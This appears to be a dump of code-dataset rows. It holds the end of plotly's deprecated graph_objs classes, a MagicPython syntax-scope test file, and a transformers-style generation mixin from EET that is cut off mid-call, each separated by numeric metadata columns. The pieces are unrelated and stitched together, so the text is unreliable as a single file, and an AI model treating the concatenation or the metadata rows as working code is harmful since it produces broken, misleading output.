- plotly.graph_objs.layout.scene.Annotation
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Annotations is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.layout.Annotation
- plotly.graph_objs.layout.scene.Annotation
"""
warnings.warn(
"""plotly.graph_objs.Annotations is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.layout.Annotation
- plotly.graph_objs.layout.scene.Annotation
""", DeprecationWarning
)
super(Annotations, self).__init__(*args, **kwargs)
class Frames(list):
"""
plotly.graph_objs.Frames is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.Frame
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Frames is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.Frame
"""
warnings.warn(
"""plotly.graph_objs.Frames is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.Frame
""", DeprecationWarning
)
super(Frames, self).__init__(*args, **kwargs)
class AngularAxis(dict):
"""
plotly.graph_objs.AngularAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.AngularAxis
- plotly.graph_objs.layout.polar.AngularAxis
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.AngularAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.AngularAxis
- plotly.graph_objs.layout.polar.AngularAxis
"""
warnings.warn(
"""plotly.graph_objs.AngularAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.AngularAxis
- plotly.graph_objs.layout.polar.AngularAxis
""", DeprecationWarning
)
super(AngularAxis, self).__init__(*args, **kwargs)
class Annotation(dict):
"""
plotly.graph_objs.Annotation is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Annotation
- plotly.graph_objs.layout.scene.Annotation
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Annotation is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Annotation
- plotly.graph_objs.layout.scene.Annotation
"""
warnings.warn(
"""plotly.graph_objs.Annotation is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Annotation
- plotly.graph_objs.layout.scene.Annotation
""", DeprecationWarning
)
super(Annotation, self).__init__(*args, **kwargs)
class ColorBar(dict):
"""
plotly.graph_objs.ColorBar is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.marker.ColorBar
- plotly.graph_objs.surface.ColorBar
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.ColorBar is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.marker.ColorBar
- plotly.graph_objs.surface.ColorBar
- etc.
"""
warnings.warn(
"""plotly.graph_objs.ColorBar is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.marker.ColorBar
- plotly.graph_objs.surface.ColorBar
- etc.
""", DeprecationWarning
)
super(ColorBar, self).__init__(*args, **kwargs)
class Contours(dict):
"""
plotly.graph_objs.Contours is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.contour.Contours
- plotly.graph_objs.surface.Contours
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Contours is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.contour.Contours
- plotly.graph_objs.surface.Contours
- etc.
"""
warnings.warn(
"""plotly.graph_objs.Contours is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.contour.Contours
- plotly.graph_objs.surface.Contours
- etc.
""", DeprecationWarning
)
super(Contours, self).__init__(*args, **kwargs)
class ErrorX(dict):
"""
plotly.graph_objs.ErrorX is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.ErrorX
- plotly.graph_objs.histogram.ErrorX
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.ErrorX is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.ErrorX
- plotly.graph_objs.histogram.ErrorX
- etc.
"""
warnings.warn(
"""plotly.graph_objs.ErrorX is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.ErrorX
- plotly.graph_objs.histogram.ErrorX
- etc.
""", DeprecationWarning
)
super(ErrorX, self).__init__(*args, **kwargs)
class ErrorY(dict):
"""
plotly.graph_objs.ErrorY is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.ErrorY
- plotly.graph_objs.histogram.ErrorY
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.ErrorY is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.ErrorY
- plotly.graph_objs.histogram.ErrorY
- etc.
"""
warnings.warn(
"""plotly.graph_objs.ErrorY is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.ErrorY
- plotly.graph_objs.histogram.ErrorY
- etc.
""", DeprecationWarning
)
super(ErrorY, self).__init__(*args, **kwargs)
class ErrorZ(dict):
"""
plotly.graph_objs.ErrorZ is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter3d.ErrorZ
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.ErrorZ is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter3d.ErrorZ
"""
warnings.warn(
"""plotly.graph_objs.ErrorZ is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter3d.ErrorZ
""", DeprecationWarning
)
super(ErrorZ, self).__init__(*args, **kwargs)
class Font(dict):
"""
plotly.graph_objs.Font is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Font
- plotly.graph_objs.layout.hoverlabel.Font
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Font is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Font
- plotly.graph_objs.layout.hoverlabel.Font
- etc.
"""
warnings.warn(
"""plotly.graph_objs.Font is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Font
- plotly.graph_objs.layout.hoverlabel.Font
- etc.
""", DeprecationWarning
)
super(Font, self).__init__(*args, **kwargs)
class Legend(dict):
"""
plotly.graph_objs.Legend is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Legend
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Legend is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Legend
"""
warnings.warn(
"""plotly.graph_objs.Legend is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Legend
""", DeprecationWarning
)
super(Legend, self).__init__(*args, **kwargs)
class Line(dict):
"""
plotly.graph_objs.Line is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Line
- plotly.graph_objs.layout.shape.Line
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Line is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Line
- plotly.graph_objs.layout.shape.Line
- etc.
"""
warnings.warn(
"""plotly.graph_objs.Line is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Line
- plotly.graph_objs.layout.shape.Line
- etc.
""", DeprecationWarning
)
super(Line, self).__init__(*args, **kwargs)
class Margin(dict):
"""
plotly.graph_objs.Margin is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Margin
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Margin is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Margin
"""
warnings.warn(
"""plotly.graph_objs.Margin is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.Margin
""", DeprecationWarning
)
super(Margin, self).__init__(*args, **kwargs)
class Marker(dict):
"""
plotly.graph_objs.Marker is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Marker
- plotly.graph_objs.histogram.selected.Marker
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Marker is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Marker
- plotly.graph_objs.histogram.selected.Marker
- etc.
"""
warnings.warn(
"""plotly.graph_objs.Marker is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Marker
- plotly.graph_objs.histogram.selected.Marker
- etc.
""", DeprecationWarning
)
super(Marker, self).__init__(*args, **kwargs)
class RadialAxis(dict):
"""
plotly.graph_objs.RadialAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.RadialAxis
- plotly.graph_objs.layout.polar.RadialAxis
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.RadialAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.RadialAxis
- plotly.graph_objs.layout.polar.RadialAxis
"""
warnings.warn(
"""plotly.graph_objs.RadialAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.RadialAxis
- plotly.graph_objs.layout.polar.RadialAxis
""", DeprecationWarning
)
super(RadialAxis, self).__init__(*args, **kwargs)
class Scene(dict):
"""
plotly.graph_objs.Scene is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Scene
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Scene is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Scene
"""
warnings.warn(
"""plotly.graph_objs.Scene is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Scene
""", DeprecationWarning
)
super(Scene, self).__init__(*args, **kwargs)
class Stream(dict):
"""
plotly.graph_objs.Stream is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Stream
- plotly.graph_objs.area.Stream
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Stream is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Stream
- plotly.graph_objs.area.Stream
"""
warnings.warn(
"""plotly.graph_objs.Stream is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.scatter.Stream
- plotly.graph_objs.area.Stream
""", DeprecationWarning
)
super(Stream, self).__init__(*args, **kwargs)
class XAxis(dict):
"""
plotly.graph_objs.XAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.XAxis
- plotly.graph_objs.layout.scene.XAxis
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.XAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.XAxis
- plotly.graph_objs.layout.scene.XAxis
"""
warnings.warn(
"""plotly.graph_objs.XAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.XAxis
- plotly.graph_objs.layout.scene.XAxis
""", DeprecationWarning
)
super(XAxis, self).__init__(*args, **kwargs)
class YAxis(dict):
"""
plotly.graph_objs.YAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.YAxis
- plotly.graph_objs.layout.scene.YAxis
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.YAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.YAxis
- plotly.graph_objs.layout.scene.YAxis
"""
warnings.warn(
"""plotly.graph_objs.YAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.YAxis
- plotly.graph_objs.layout.scene.YAxis
""", DeprecationWarning
)
super(YAxis, self).__init__(*args, **kwargs)
class ZAxis(dict):
"""
plotly.graph_objs.ZAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.scene.ZAxis
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.ZAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.scene.ZAxis
"""
warnings.warn(
"""plotly.graph_objs.ZAxis is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.layout.scene.ZAxis
""", DeprecationWarning
)
super(ZAxis, self).__init__(*args, **kwargs)
class XBins(dict):
"""
plotly.graph_objs.XBins is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.histogram.XBins
- plotly.graph_objs.histogram2d.XBins
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.XBins is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.histogram.XBins
- plotly.graph_objs.histogram2d.XBins
"""
warnings.warn(
"""plotly.graph_objs.XBins is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.histogram.XBins
- plotly.graph_objs.histogram2d.XBins
""", DeprecationWarning
)
super(XBins, self).__init__(*args, **kwargs)
class YBins(dict):
"""
plotly.graph_objs.YBins is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.histogram.YBins
- plotly.graph_objs.histogram2d.YBins
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.YBins is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.histogram.YBins
- plotly.graph_objs.histogram2d.YBins
"""
warnings.warn(
"""plotly.graph_objs.YBins is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.histogram.YBins
- plotly.graph_objs.histogram2d.YBins
""", DeprecationWarning
)
super(YBins, self).__init__(*args, **kwargs)
class Trace(dict):
"""
plotly.graph_objs.Trace is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Scatter
- plotly.graph_objs.Bar
- plotly.graph_objs.Area
- plotly.graph_objs.Histogram
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Trace is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Scatter
- plotly.graph_objs.Bar
- plotly.graph_objs.Area
- plotly.graph_objs.Histogram
- etc.
"""
warnings.warn(
"""plotly.graph_objs.Trace is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Scatter
- plotly.graph_objs.Bar
- plotly.graph_objs.Area
- plotly.graph_objs.Histogram
- etc.
""", DeprecationWarning
)
super(Trace, self).__init__(*args, **kwargs)
class Histogram2dcontour(dict):
"""
plotly.graph_objs.Histogram2dcontour is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Histogram2dContour
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Histogram2dcontour is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Histogram2dContour
"""
warnings.warn(
"""plotly.graph_objs.Histogram2dcontour is deprecated.
Please replace it with one of the following more specific types
- plotly.graph_objs.Histogram2dContour
""", DeprecationWarning
)
super(Histogram2dcontour, self).__init__(*args, **kwargs)
| 28.241774 | 75 | 0.688668 | 2,472 | 19,741 | 5.330906 | 0.031149 | 0.181135 | 0.247003 | 0.142283 | 0.921232 | 0.866596 | 0.860222 | 0.860222 | 0.837912 | 0.826757 | 0 | 0.001095 | 0.213414 | 19,741 | 698 | 76 | 28.282235 | 0.847566 | 0.489894 | 0 | 0.487013 | 0 | 0 | 0.008607 | 0.004499 | 0 | 0 | 0 | 0 | 0 | 1 | 0.162338 | false | 0 | 0.006494 | 0 | 0.331169 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0cfe7a4f8f35a2affc11214fe254d1e9b78c2a3e | 2,171 | py | Python | test/functions/decorators3.py | therumbler/MagicPython | e6c15930a328fd8d02c7901ce90f7167ec55021a | [
"MIT"
] | null | null | null | test/functions/decorators3.py | therumbler/MagicPython | e6c15930a328fd8d02c7901ce90f7167ec55021a | [
"MIT"
] | 4 | 2019-06-16T09:52:03.000Z | 2019-08-18T02:11:35.000Z | vscode/extensions/magicstack.magicpython-1.0.12/test/functions/decorators3.py | nlimpid/dotfiles | b78d08707992f742f984f556fa58349c2ccd095d | [
"MIT"
] | null | null | null | @ f . bar (baz = 1)
def foo(): pass
@ : entity.name.function.decorator.python, meta.function.decorator.python, source.python
: meta.function.decorator.python, source.python
f : entity.name.function.decorator.python, meta.function.decorator.python, source.python
: meta.function.decorator.python, source.python
. : entity.name.function.decorator.python, meta.function.decorator.python, source.python
: meta.function.decorator.python, source.python
bar : entity.name.function.decorator.python, meta.function.decorator.python, source.python
: meta.function.decorator.python, source.python
( : meta.function.decorator.python, punctuation.definition.arguments.begin.python, source.python
baz : meta.function-call.arguments.python, meta.function.decorator.python, source.python, variable.parameter.function-call.python
: meta.function-call.arguments.python, meta.function.decorator.python, source.python
= : keyword.operator.assignment.python, meta.function-call.arguments.python, meta.function.decorator.python, source.python
: meta.function-call.arguments.python, meta.function.decorator.python, source.python
1 : constant.numeric.dec.python, meta.function-call.arguments.python, meta.function.decorator.python, source.python
) : meta.function.decorator.python, punctuation.definition.arguments.end.python, source.python
def : meta.function.python, source.python, storage.type.function.python
: meta.function.python, source.python
foo : entity.name.function.python, meta.function.python, source.python
( : meta.function.parameters.python, meta.function.python, punctuation.definition.parameters.begin.python, source.python
) : meta.function.parameters.python, meta.function.python, punctuation.definition.parameters.end.python, source.python
: : meta.function.python, punctuation.section.function.begin.python, source.python
: source.python
pass : keyword.control.flow.python, source.python
| 74.862069 | 139 | 0.704744 | 241 | 2,171 | 6.348548 | 0.141079 | 0.219608 | 0.305882 | 0.264706 | 0.82549 | 0.775163 | 0.775163 | 0.729412 | 0.729412 | 0.729412 | 0 | 0.001128 | 0.183326 | 2,171 | 28 | 140 | 77.535714 | 0.861816 | 0 | 0 | 0.24 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.08 | 0 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 11 |
0b75b253d0210ffed3c61d419d6d4ac4b4da766d | 92,074 | py | Python | python/eet/pipelines/generation.py | SidaZh/EET | 6414faa734abfdb666556304ca3df5b7f5e54c38 | [
"Apache-2.0"
] | null | null | null | python/eet/pipelines/generation.py | SidaZh/EET | 6414faa734abfdb666556304ca3df5b7f5e54c38 | [
"Apache-2.0"
] | null | null | null | python/eet/pipelines/generation.py | SidaZh/EET | 6414faa734abfdb666556304ca3df5b7f5e54c38 | [
"Apache-2.0"
] | null | null | null | #
# Created by djz on 2022/04/01.
#
import torch
from torch import nn
import inspect
import warnings
from dataclasses import dataclass
from transformers.file_utils import ModelOutput
from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple, Union
from transformers.generation_utils import GenerationMixin
from transformers.generation_beam_constraints import Constraint, DisjunctiveConstraint, PhrasalConstraint
from transformers.generation_beam_search import BeamScorer, BeamSearchScorer, ConstrainedBeamSearchScorer
from transformers.generation_logits_process import (
LogitsProcessorList,
MinLengthLogitsProcessor,
TemperatureLogitsWarper,
TopKLogitsWarper,
)
from transformers.generation_stopping_criteria import (
MaxLengthCriteria,
StoppingCriteria,
StoppingCriteriaList,
validate_stopping_criteria,
)
from transformers.utils import logging
from transformers.pytorch_utils import torch_int_div
logger = logging.get_logger(__name__)
@dataclass
class GreedySearchDecoderOnlyOutput(ModelOutput):
sequences: torch.LongTensor = None
scores: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class GreedySearchEncoderDecoderOutput(ModelOutput):
sequences: torch.LongTensor = None
scores: Optional[Tuple[torch.FloatTensor]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
cross_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
decoder_hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class SampleDecoderOnlyOutput(ModelOutput):
sequences: torch.LongTensor = None
scores: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class SampleEncoderDecoderOutput(ModelOutput):
sequences: torch.LongTensor = None
scores: Optional[Tuple[torch.FloatTensor]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
cross_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
decoder_hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class BeamSearchDecoderOnlyOutput(ModelOutput):
sequences: torch.LongTensor = None
sequences_scores: Optional[torch.FloatTensor] = None
scores: Optional[Tuple[torch.FloatTensor]] = None
beam_indices: Optional[Tuple[Tuple[torch.LongTensor]]] = None
attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class BeamSearchEncoderDecoderOutput(ModelOutput):
sequences: torch.LongTensor = None
sequences_scores: Optional[torch.FloatTensor] = None
scores: Optional[Tuple[torch.FloatTensor]] = None
beam_indices: Optional[Tuple[Tuple[torch.LongTensor]]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
cross_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
decoder_hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class BeamSampleDecoderOnlyOutput(ModelOutput):
sequences: torch.LongTensor = None
sequences_scores: Optional[torch.FloatTensor] = None
scores: Optional[Tuple[torch.FloatTensor]] = None
beam_indices: Optional[Tuple[Tuple[torch.LongTensor]]] = None
attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
@dataclass
class BeamSampleEncoderDecoderOutput(ModelOutput):
sequences: torch.LongTensor = None
sequences_scores: Optional[torch.FloatTensor] = None
scores: Optional[Tuple[torch.FloatTensor]] = None
beam_indices: Optional[Tuple[Tuple[torch.LongTensor]]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
cross_attentions: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
decoder_hidden_states: Optional[Tuple[Tuple[torch.FloatTensor]]] = None
GreedySearchOutput = Union[GreedySearchEncoderDecoderOutput, GreedySearchDecoderOnlyOutput]
SampleOutput = Union[SampleEncoderDecoderOutput, SampleDecoderOnlyOutput]
BeamSearchOutput = Union[BeamSearchEncoderDecoderOutput, BeamSearchDecoderOnlyOutput]
BeamSampleOutput = Union[BeamSampleEncoderDecoderOutput, BeamSampleDecoderOnlyOutput]
class GenerationMixin_EET(GenerationMixin):
@torch.no_grad()
def generate(
self,
inputs: Optional[torch.Tensor] = None,
max_length: Optional[int] = None,
min_length: Optional[int] = None,
do_sample: Optional[bool] = None,
early_stopping: Optional[bool] = None,
num_beams: Optional[int] = None,
temperature: Optional[float] = None,
top_k: Optional[int] = None,
top_p: Optional[float] = None,
typical_p: Optional[float] = None,
repetition_penalty: Optional[float] = None,
bad_words_ids: Optional[Iterable[int]] = None,
force_words_ids: Optional[Union[Iterable[int], Iterable[Iterable[int]]]] = None,
bos_token_id: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
length_penalty: Optional[float] = None,
no_repeat_ngram_size: Optional[int] = None,
encoder_no_repeat_ngram_size: Optional[int] = None,
num_return_sequences: Optional[int] = None,
max_time: Optional[float] = None,
max_new_tokens: Optional[int] = None,
decoder_start_token_id: Optional[int] = None,
use_cache: Optional[bool] = None,
num_beam_groups: Optional[int] = None,
diversity_penalty: Optional[float] = None,
prefix_allowed_tokens_fn: Optional[Callable[[int, torch.Tensor], List[int]]] = None,
logits_processor: Optional[LogitsProcessorList] = LogitsProcessorList(),
stopping_criteria: Optional[StoppingCriteriaList] = StoppingCriteriaList(),
constraints: Optional[List[Constraint]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
forced_bos_token_id: Optional[int] = None,
forced_eos_token_id: Optional[int] = None,
remove_invalid_values: Optional[bool] = None,
synced_gpus: Optional[bool] = False,
exponential_decay_length_penalty: Optional[Tuple[Union[int, float]]] = None,
**model_kwargs,
) -> Union[GreedySearchOutput, SampleOutput, BeamSearchOutput, BeamSampleOutput, torch.LongTensor]:
# 1. Set generation parameters if not already defined
bos_token_id = bos_token_id if bos_token_id is not None else self.config.bos_token_id
num_beams = num_beams if num_beams is not None else self.config.num_beams
length_penalty = length_penalty if length_penalty is not None else self.config.length_penalty
early_stopping = early_stopping if early_stopping is not None else self.config.early_stopping
num_beam_groups = num_beam_groups if num_beam_groups is not None else self.config.num_beam_groups
do_sample = do_sample if do_sample is not None else self.config.do_sample
num_return_sequences = (
num_return_sequences if num_return_sequences is not None else self.config.num_return_sequences
)
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
if eos_token_id is None and hasattr(self.config, "decoder"):
eos_token_id = self.config.decoder.eos_token_id
if pad_token_id is None and eos_token_id is not None:
# special case if pad_token_id is not defined
logger.warning(f"Setting `pad_token_id` to `eos_token_id`:{eos_token_id} for open-end generation.")
pad_token_id = eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
# 2. Define model inputs
# inputs_tensor has to be defined
# model_input_name is defined if model-specific keyword input is passed
# otherwise model_input_name is None
# all model-specific keyword inputs are removed from `model_kwargs`
inputs_tensor, model_input_name, model_kwargs = self._prepare_model_inputs(inputs, bos_token_id, model_kwargs)
batch_size = inputs_tensor.shape[0]
# 3. Define other model kwargs
model_kwargs["output_attentions"] = output_attentions
model_kwargs["output_hidden_states"] = output_hidden_states
model_kwargs["use_cache"] = use_cache
accepts_attention_mask = "attention_mask" in set(inspect.signature(self).parameters.keys())
requires_attention_mask = "encoder_outputs" not in model_kwargs
if model_kwargs.get("attention_mask", None) is None and requires_attention_mask and accepts_attention_mask:
model_kwargs["attention_mask"] = self._prepare_attention_mask_for_generation(
inputs_tensor, pad_token_id, eos_token_id
)
if self.config.is_encoder_decoder and "encoder_outputs" not in model_kwargs:
# if model is encoder decoder encoder_outputs are created
# and added to `model_kwargs`
model_kwargs = self._prepare_encoder_decoder_kwargs_for_generation(
inputs_tensor, model_kwargs, model_input_name
)
# 4. Prepare `input_ids` which will be used for auto-regressive generation
if self.config.is_encoder_decoder:
input_ids = self._prepare_decoder_input_ids_for_generation(
batch_size,
decoder_start_token_id=decoder_start_token_id,
bos_token_id=bos_token_id,
model_kwargs=model_kwargs,
)
else:
# if decoder-only then inputs_tensor has to be `input_ids`
input_ids = inputs_tensor
input_ids_seq_length = input_ids.shape[-1]
# 5. Prepare `max_length` depending on other stopping criteria
# if `max_new_tokens` is passed, but not `max_length` -> set `max_length = max_new_tokens`
if max_length is None and max_new_tokens is not None:
max_length = max_new_tokens + input_ids_seq_length
elif max_length is not None and max_new_tokens is not None:
# Both are set, this is odd, raise a warning
warnings.warn(
"Both `max_length` and `max_new_tokens` have been set "
f"but they serve the same purpose. `max_length` {max_length} "
f"will take priority over `max_new_tokens` {max_new_tokens}.",
UserWarning,
)
# default to config if still None
max_length = max_length if max_length is not None else self.config.max_length
if input_ids_seq_length >= max_length:
input_ids_string = "decoder_input_ids" if self.config.is_encoder_decoder else "input_ids"
logger.warning(
f"Input length of {input_ids_string} is {input_ids_seq_length}, but ``max_length`` is set to {max_length}. "
"This can lead to unexpected behavior. You should consider increasing ``config.max_length`` or ``max_length``."
)
# 6. determine generation mode
is_constraint_gen_mode = constraints is not None or force_words_ids is not None
is_greedy_gen_mode = (
(num_beams == 1) and (num_beam_groups == 1) and do_sample is False and not is_constraint_gen_mode
)
is_sample_gen_mode = (
(num_beams == 1) and (num_beam_groups == 1) and do_sample is True and not is_constraint_gen_mode
)
is_beam_gen_mode = (
(num_beams > 1) and (num_beam_groups == 1) and do_sample is False and not is_constraint_gen_mode
)
is_beam_sample_gen_mode = (
(num_beams > 1) and (num_beam_groups == 1) and do_sample is True and not is_constraint_gen_mode
)
is_group_beam_gen_mode = (num_beams > 1) and (num_beam_groups > 1) and not is_constraint_gen_mode
if num_beam_groups > num_beams:
raise ValueError("`num_beam_groups` has to be smaller or equal to `num_beams`")
if is_group_beam_gen_mode and do_sample is True:
raise ValueError(
"Diverse beam search cannot be used in sampling mode. Make sure that `do_sample` is set to `False`."
)
# 7. prepare distribution pre_processing samplers
logits_processor = self._get_logits_processor(
repetition_penalty=repetition_penalty,
no_repeat_ngram_size=no_repeat_ngram_size,
encoder_no_repeat_ngram_size=encoder_no_repeat_ngram_size,
input_ids_seq_length=input_ids_seq_length,
encoder_input_ids=inputs_tensor,
bad_words_ids=bad_words_ids,
min_length=min_length,
max_length=max_length,
eos_token_id=eos_token_id,
forced_bos_token_id=forced_bos_token_id,
forced_eos_token_id=forced_eos_token_id,
